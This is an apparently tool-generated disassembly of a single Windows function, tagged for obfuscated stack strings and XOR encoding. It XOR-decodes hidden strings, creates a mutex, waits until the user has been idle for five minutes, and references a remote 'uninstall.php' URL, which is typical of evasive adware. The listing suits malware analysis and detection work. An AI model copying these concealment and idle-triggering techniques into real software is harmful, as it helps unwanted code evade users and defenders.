Function at 0x40ee30
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x542c86
mov eax, dword fs:[0]
push eax
sub esp, 0x430
mov eax, dword [0x593dc0]
xor eax, esp
mov dword [esp + 0x428], eax
push ebx
push esi
push edi
mov eax, dword [0x593dc0]
xor eax, esp
push eax
lea eax, [esp + 0x440]
mov dword fs:[0], eax
mov edi, ecx
mov dword [esp + 0x40], edi
call fcn.0040eae0
xor ecx, ecx
mov dword [esp + 0x2d4], 0x57007c
mov dword [esp + 0x2d8], 0x590054
mov dword [esp + 0x2dc], 0x57005a
mov dword [esp + 0x2e0], 0x500067
mov dword [esp + 0x2e4], 0x5a0052
mov dword [esp + 0x2e8], 0x590048
mov dword [esp + 0x2ec], 0x48005c
mov dword [esp + 0x2f0], 0x5d005f
mov dword [esp + 0x2f4], 0x510051
mov dword [esp + 0x2f8], 0x59005d
mov dword [esp + 0x2fc], 0x50005c
mov dword [esp + 0x300], 0x480057
mov dword [esp + 0x304], 0x5d005f
mov dword [esp + 0x308], 0x53005c
mov dword [esp + 0x30c], 0x570050
mov dword [esp + 0x310], 0x5f0048
mov dword [esp + 0x314], 0x5e0049
mov dword [esp + 0x318], 0x530059
mov dword [esp + 0x31c], 0x5d005f
mov dword [esp + 0x320], 0x5c0050
mov dword [esp + 0x324], 0x570053
mov dword [esp + 0x328], 0x5f0050
mov dword [esp + 0x32c], 0x5c004e
mov dword [esp + 0x330], 0x480053
mov dword [esp + 0x334], 0x570050
mov dword [esp + 0x338], 0x5d005f
mov dword [esp + 0x33c], 0x5c0051
mov dword [esp + 0x340], 0x50005f
mov dword [esp + 0x344], 0x5d0048
mov dword [esp + 0x348], 0x5c0051
mov dword [esp + 0x34c], 0x480053
mov dword [esp + 0x350], 0x5d005f
mov word [esp + 0x354], cx
xor eax, eax
mov ebx, 0x3b
lea esp, [esp]
xor word [esp + eax*2 + 0x2d4], bx
inc eax
cmp eax, 0x40
jb 0x40eff0
lea edx, [esp + 0x2d4]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ecx, edi
call fcn.00417070
call fcn.00415eb7
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f031
push 0x80004005
call fcn.00402460
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x34], eax
lea ecx, [esp + 0x38]
mov dword [esp + 0x448], 0
call fcn.0040aea0
mov byte [esp + 0x448], 1
call fcn.00415eb7
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f077
push 0x80004005
call fcn.00402460
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x3c], eax
lea ecx, [esp + 0x34]
push ecx
lea ecx, [esp + 0x40]
mov byte [esp + 0x44c], 2
call fcn.0040b530
lea esi, [esp + 0x20]
lea eax, [esp + 0x34]
mov dword [esp + 0x448], 3
call fcn.0040ea40
mov byte [esp + 0x448], 4
mov dword [esp + 0x2a8], 0x540058
mov dword [esp + 0x2ac], 0x560056
mov dword [esp + 0x2b0], 0x55005a
mov dword [esp + 0x2b4], 0x64005f
mov dword [esp + 0x2b8], 0x5a004b
mov dword [esp + 0x2bc], 0x5a0049
mov dword [esp + 0x2c0], 0x5e0056
mov dword [esp + 0x2c4], 0x5e004f
mov dword [esp + 0x2c8], 0x480049
mov dword [esp + 0x2cc], 0x1e0006
mov dword [esp + 0x2d0], 0x48
xor eax, eax
jmp 0x40f140
xor word [esp + eax*2 + 0x2a8], bx
inc eax
cmp eax, 0x15
jb 0x40f140
mov esi, dword [edi + 0x48]
xor eax, eax
mov word [esp + 0x27e], ax
mov eax, 0x69
mov word [esp + 0x27c], ax
mov eax, esi
mov dword [esp + 0x278], 0x75002f
lea edx, [eax + 2]
jmp 0x40f180
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40f180
sub eax, edx
sar eax, 1
jne 0x40f198
lea esi, [esp + 0x278]
mov dword [esp + 0x7c], esi
call fcn.00415eb7
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f1b6
push 0x80004005
call fcn.00402460
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x80], eax
push esi
lea ecx, [esp + 0x2ac]
push ecx
lea edx, [esp + 0x88]
push edx
mov byte [esp + 0x454], 5
call fcn.00404a60
add esp, 8
mov dword [esp + 0x20], esp
mov esi, esp
call fcn.00415eb7
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f20a
push 0x80004005
call fcn.00402460
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x44c], 6
mov ebx, dword [esp + 0x84]
lea ecx, [esp + 0x24]
push ecx
push ecx
mov ecx, dword [ebx - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add ebx, 0xfffffff0
mov dword [esp + 0x50], esp
mov edi, esp
mov dword [esp + 0x54], ebx
call eax
cmp dword [ebx + 0xc], 0
lea edx, [ebx + 0xc]
jl 0x40f25e
cmp eax, dword [ebx]
jne 0x40f25e
mov esi, ebx
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x40f29a
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x40f277
call fcn.004017d0
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
add ebx, 0x10
lea edx, [eax + eax + 2]
push ebx
push edx
lea eax, [esi + 0x10]
push eax
call fcn.0051dbc1
add esp, 0x10
add esi, 0x10
mov dword [edi], esi
push 0x812
mov byte [esp + 0x458], 5
call fcn.004026a0
xor ebx, ebx
push 0x24
mov dword [esp + 0x68], ebx
call fcn.00415244
add esp, 0x14
cmp eax, ebx
je 0x40fe66
mov dword [esp + 0x50], eax
mov dword [eax], eax
mov eax, dword [esp + 0x50]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x50]
mov dword [eax + 8], eax
mov ecx, dword [esp + 0x50]
mov byte [ecx + 0x20], 1
mov edx, dword [esp + 0x50]
mov byte [edx + 0x21], 1
mov byte [esp + 0x448], 7
push 0x14
mov dword [esp + 0x68], ebx
call fcn.00415244
add esp, 4
cmp eax, ebx
je 0x40fe34
mov dword [esp + 0x60], eax
mov dword [eax], eax
mov eax, dword [esp + 0x60]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x60]
mov dword [eax + 8], eax
mov eax, dword [esp + 0x60]
mov byte [eax + 0x10], 1
mov ecx, dword [esp + 0x60]
mov byte [ecx + 0x11], 1
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
lea edx, [esp + 0x4c]
push edx
mov byte [esp + 0x44c], 8
call fcn.00405af0
mov ecx, 0x59be2c
lea eax, [esp + 0x4c]
call fcn.004065a0
mov esi, dword [esp + 0x50]
mov dword [esp + 0x10], eax
cmp eax, esi
je 0x40f3c0
mov eax, dword [eax + 0xc]
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x40f37f
push 0x80004005
call fcn.00402460
mov ecx, eax
mov eax, dword [0x59be2c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40f3ac
cmp dx, bx
je 0x40f3a8
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40f3ac
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x40f386
xor eax, eax
jmp 0x40f3b1
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
setl al
test al, al
jne 0x40f3c0
lea eax, [esp + 0x10]
jmp 0x40f3c8
mov dword [esp + 0x14], esi
lea eax, [esp + 0x14]
cmp dword [eax], esi
jne 0x40f45a
mov edi, dword [esp + 0x60]
mov ecx, 0x59be2c
lea eax, [esp + 0x5c]
call fcn.004066d0
mov esi, dword [esp + 0x60]
mov dword [esp + 0x14], eax
cmp eax, esi
je 0x40f44a
mov eax, dword [eax + 0xc]
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x40f406
push 0x80004005
call fcn.00402460
mov ecx, eax
mov eax, dword [0x59be2c]
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40f436
cmp dx, bx
je 0x40f432
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40f436
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x40f410
xor eax, eax
jmp 0x40f43b
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
setl al
test al, al
jne 0x40f44a
lea eax, [esp + 0x14]
jmp 0x40f452
mov dword [esp + 0x10], esi
lea eax, [esp + 0x10]
cmp dword [eax], edi
jne 0x40f45a
xor al, al
jmp 0x40f45c
mov al, 1
test al, al
sete bl
test bl, bl
je 0x40f808
call fcn.00409ef0
test al, al
jne 0x40f808
xor eax, eax
mov dword [esp + 0x280], 0x480004
mov dword [esp + 0x284], 0x50005f
mov dword [esp + 0x288], 0x5a0055
mov dword [esp + 0x28c], 0x5e0056
mov dword [esp + 0x290], 0x1e0006
mov dword [esp + 0x294], 0x1d0048
mov dword [esp + 0x298], 0x560058
mov dword [esp + 0x29c], 0x6005f
mov dword [esp + 0x2a0], 0x48001e
mov word [esp + 0x2a4], ax
mov ecx, 0x3b
jmp 0x40f4f0
xor word [esp + eax*2 + 0x280], cx
inc eax
cmp eax, 0x12
jb 0x40f4f0
call fcn.00415eb7
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f518
push 0x80004005
call fcn.00402460
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x40], eax
lea esi, [esp + 0x14]
lea eax, [esp + 0x34]
mov byte [esp + 0x448], 9
call fcn.0040ea70
mov ecx, dword [esp + 0x7c]
push ecx
mov byte [esp + 0x44c], 0xa
mov eax, dword [eax]
push eax
lea edx, [esp + 0x288]
push edx
lea eax, [esp + 0x4c]
push eax
call fcn.00404a60
mov byte [esp + 0x458], 9
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
add esp, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40f58a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push ecx
mov dword [esp + 0x18], esp
mov esi, esp
call fcn.00415eb7
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f5ab
push 0x80004005
call fcn.00402460
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x44c], 0xb
mov esi, dword [esp + 0x44]
lea ecx, [esp + 0x24]
push ecx
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov ebx, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x40f5f8
cmp eax, dword [esi]
jne 0x40f5f8
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x40f634
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x40f611
call fcn.004017d0
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [esi + 0x10]
push edx
lea eax, [eax + eax + 2]
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.0051dbc1
add esp, 0x10
add edi, 0x10
mov dword [ebx], edi
push 0x15b7
mov byte [esp + 0x458], 9
call fcn.004026a0
add esp, 0x10
mov byte [esp + 0x448], 8
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x40f66f
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov byte [esp + 0x448], 0xd
mov esi, dword [esp + 0x6c]
xor ebx, ebx
cmp esi, ebx
je 0x40f6c2
mov eax, dword [esp + 0x70]
mov edi, eax
cmp esi, eax
je 0x40f6b9
jmp 0x40f690
mov eax, dword [esi]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40f6ae
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 4
cmp esi, edi
jne 0x40f690
mov esi, dword [esp + 0x6c]
push esi
call fcn.00415273
add esp, 4
lea ecx, [esp + 0x5c]
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x1c], ecx
mov byte [esp + 0x448], 0xe
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x4c]
lea esi, [esp + 0x64]
call fcn.00406610
mov edx, dword [esp + 0x60]
push edx
call fcn.00415273
add esp, 4
mov byte [esp + 0x448], 0xf
mov eax, dword [esp + 0x50]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x24]
lea esi, [esp + 0x54]
call fcn.004064e0
mov eax, dword [esp + 0x50]
push eax
call fcn.00415273
mov eax, dword [esp + 0x4c]
or edx, 0xffffffff
lea ecx, [eax + 0xc]
mov byte [esp + 0x44c], 4
add esp, 4
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40f74f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x448], 3
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40f777
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x448], 0xffffffff
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40f7a2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40f7c2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40f7e2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x440]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x428]
xor ecx, esp
call fcn.0051d79f
mov esp, ebp
pop ebp
ret
mov ecx, 0x59be24
lea eax, [esp + 0x4c]
call fcn.004065a0
mov esi, dword [esp + 0x50]
mov dword [esp + 0x14], eax
cmp eax, esi
je 0x40f87a
mov ecx, dword [eax + 0xc]
xor eax, eax
test ecx, ecx
setne al
test eax, eax
jne 0x40f83a
push 0x80004005
call fcn.00402460
mov eax, dword [0x59be24]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40f866
test dx, dx
je 0x40f862
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40f866
add eax, 4
add ecx, 4
test dx, dx
jne 0x40f840
xor eax, eax
jmp 0x40f86b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sets al
test al, al
jne 0x40f87a
lea eax, [esp + 0x14]
jmp 0x40f882
mov dword [esp + 0x10], esi
lea eax, [esp + 0x10]
cmp dword [eax], esi
jne 0x40f911
mov edi, dword [esp + 0x60]
mov ecx, 0x59be24
lea eax, [esp + 0x5c]
call fcn.004066d0
mov esi, dword [esp + 0x60]
mov dword [esp + 0x14], eax
cmp eax, esi
je 0x40f901
mov eax, dword [eax + 0xc]
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f8c0
push 0x80004005
call fcn.00402460
mov ecx, eax
mov eax, dword [0x59be24]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40f8ed
test dx, dx
je 0x40f8e9
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40f8ed
add eax, 4
add ecx, 4
test dx, dx
jne 0x40f8c7
xor eax, eax
jmp 0x40f8f2
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sets al
test al, al
jne 0x40f901
lea eax, [esp + 0x14]
jmp 0x40f909
mov dword [esp + 0x10], esi
lea eax, [esp + 0x10]
cmp dword [eax], edi
je 0x40fb0f
mov ecx, 0x59be28
lea eax, [esp + 0x4c]
call fcn.004065a0
mov esi, dword [esp + 0x50]
mov dword [esp + 0x14], eax
cmp eax, esi
je 0x40f982
mov ecx, dword [eax + 0xc]
xor eax, eax
test ecx, ecx
setne al
test eax, eax
jne 0x40f943
push 0x80004005
call fcn.00402460
mov eax, dword [0x59be28]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40f96e
test dx, dx
je 0x40f96a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40f96e
add eax, 4
add ecx, 4
test dx, dx
jne 0x40f948
xor eax, eax
jmp 0x40f973
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sets al
test al, al
jne 0x40f982
lea eax, [esp + 0x14]
jmp 0x40f98a
mov dword [esp + 0x10], esi
lea eax, [esp + 0x10]
cmp dword [eax], esi
jne 0x40fa16
mov edi, dword [esp + 0x60]
mov ecx, 0x59be28
lea eax, [esp + 0x5c]
call fcn.004066d0
mov esi, dword [esp + 0x60]
mov dword [esp + 0x14], eax
cmp eax, esi
je 0x40fa0a
mov eax, dword [eax + 0xc]
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40f9c8
push 0x80004005
call fcn.00402460
mov ecx, eax
mov eax, dword [0x59be28]
nop
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40f9f6
test dx, dx
je 0x40f9f2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40f9f6
add eax, 4
add ecx, 4
test dx, dx
jne 0x40f9d0
xor eax, eax
jmp 0x40f9fb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sets al
test al, al
jne 0x40fa0a
lea eax, [esp + 0x14]
jmp 0x40fa12
mov dword [esp + 0x10], esi
lea eax, [esp + 0x10]
cmp dword [eax], edi
je 0x40fa66
mov esi, dword [sym.imp.USER32.dll_GetLastInputInfo]
xor eax, eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], eax
push ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 8
call esi
test eax, eax
je 0x40fa70
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
sub eax, dword [esp + 0x18]
cmp eax, 0x493e0
jae 0x40fa66
push 0x3e8
call edi
lea edx, [esp + 0x14]
push edx
call esi
test eax, eax
jne 0x40fa45
jmp 0x40fa70
lea eax, [esp + 0x34]
push eax
call fcn.004098c0
mov byte [esp + 0x448], 0x11
mov esi, dword [esp + 0x6c]
test esi, esi
je 0x40fac2
mov eax, dword [esp + 0x70]
mov edi, eax
cmp esi, eax
je 0x40fab9
lea ebx, [ebx]
mov eax, dword [esi]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40faae
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 4
cmp esi, edi
jne 0x40fa90
mov esi, dword [esp + 0x6c]
push esi
call fcn.00415273
add esp, 4
xor eax, eax
lea ecx, [esp + 0x5c]
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x1c], ecx
mov byte [esp + 0x448], 0x12
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x4c]
lea esi, [esp + 0x64]
call fcn.00406610
mov edx, dword [esp + 0x60]
push edx
call fcn.00415273
add esp, 4
mov byte [esp + 0x448], 0x13
jmp 0x40f708
xor esi, esi
push 0x2c
mov dword [esp + 0x30], esi
call fcn.00415244
add esp, 4
cmp eax, esi
je 0x40fe02
mov dword [esp + 0x28], eax
mov dword [eax], eax
mov eax, dword [esp + 0x28]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x28]
mov dword [eax + 8], eax
mov ecx, dword [esp + 0x28]
mov byte [ecx + 0x28], 1
mov edx, dword [esp + 0x28]
mov byte [edx + 0x29], 1
mov byte [esp + 0x448], 0x14
test bl, bl
je 0x40fca3
lea eax, [esp + 0x88]
push eax
lea ecx, [esp + 0x38]
push ecx
call fcn.0040a290
mov esi, eax
lea edx, [esp + 0x24]
mov byte [esp + 0x448], 0x15
cmp edx, esi
je 0x40fbc6
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 4]
push ecx
mov ecx, edx
call fcn.0040bc30
mov eax, dword [esp + 0x28]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x28]
mov dword [eax], eax
mov eax, dword [esp + 0x28]
mov dword [eax + 8], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x2c], 0
mov edx, dword [esi + 4]
mov dword [esp + 0x28], edx
mov dword [esi + 4], eax
mov ecx, dword [esi + 8]
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x2c], ecx
mov dword [esi + 8], eax
mov byte [esp + 0x448], 0x16
mov eax, dword [esp + 0x8c]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x24]
lea esi, [esp + 0x90]
call fcn.0040bda0
mov byte [esp + 0x448], 0x14
mov edx, dword [esp + 0x8c]
push edx
call fcn.00415273
add esp, 4
cmp dword [esp + 0x2c], 0
jne 0x40fca3
mov byte [esp + 0x448], 0x17
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x24]
lea esi, [esp + 0x2c]
call fcn.0040bda0
mov eax, dword [esp + 0x28]
push eax
call fcn.00415273
add esp, 4
lea ecx, [esp + 0x4c]
push ecx
mov byte [esp + 0x44c], 5
call fcn.0040ff00
mov eax, dword [esp + 0x48]
mov byte [esp + 0x448], 4
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40fc6d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x448], 3
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40fc95
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea esi, [esp + 0x34]
call fcn.0040fea0
jmp 0x40f7e2
mov ecx, 0x1b
mov esi, 0x571c38
lea edi, [esp + 0x3c4]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x18
mov esi, str.http:__sdkinterface.com_ui_screen2_uninstall.php
lea edi, [esp + 0x35c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [esp + 0x3c4]
test bl, bl
jne 0x40fcdd
lea eax, [esp + 0x35c]
push eax
lea ecx, [esp + 0x88]
call fcn.004025a0
push 0
mov byte [esp + 0x44c], 0x18
call fcn.00417b7b
add esp, 4
lea ecx, [esp + 0xb0]
call fcn.0041832a
push 0x546d38
mov byte [esp + 0x44c], 0x19
call fcn.0041c17c
mov eax, dword [esp + 0x40]
lea ecx, [esp + 0x84]
push ecx
lea edx, [esp + 0x38]
add eax, 0xb8
push edx
push eax
lea ecx, [esp + 0x30]
lea ebx, [esp + 0xc8]
call fcn.004106e0
mov byte [esp + 0x448], 0x1a
mov ecx, dword [esp + 0x40]
mov eax, ebx
mov dword [ecx + 0x20], eax
mov ecx, ebx
call fcn.00422e0c
mov edx, ebx
push edx
mov byte [esp + 0x44c], 0x19
call fcn.0040ffb0
lea ecx, [esp + 0xb0]
mov byte [esp + 0x448], 0x18
call fcn.0041835f
mov byte [esp + 0x448], 0x14
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40fda8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x448], 0x1b
mov eax, dword [esp + 0x28]
mov ecx, dword [eax]
push eax
push ecx
lea edi, [esp + 0x24]
lea esi, [esp + 0x2c]
call fcn.0040bda0
mov ecx, dword [esp + 0x28]
push ecx
call fcn.00415273
add esp, 4
lea edx, [esp + 0x4c]
push edx
mov byte [esp + 0x44c], 5
call fcn.0040ff00
mov eax, dword [esp + 0x48]
mov byte [esp + 0x448], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x40fc61
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x9c]
mov dword [esp + 0x18], esi
call fcn.0051dca1
push 0x58a504
lea edx, [esp + 0x9c]
push edx
mov dword [esp + 0xa0], vtable.std::bad_alloc.0
call fcn.0051f150
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0xa8]
mov dword [esp + 0x48], ebx
call fcn.0051dca1
push 0x58a504
lea ecx, [esp + 0xa8]
push ecx
mov dword [esp + 0xac], vtable.std::bad_alloc.0
call fcn.0051f150
lea edx, [esp + 0x1c]
push edx
lea ecx, [esp + 0x8c]
mov dword [esp + 0x20], ebx
call fcn.0051dca1
push 0x58a504
lea eax, [esp + 0x8c]
push eax
mov dword [esp + 0x90], vtable.std::bad_alloc.0
call fcn.0051f150
int3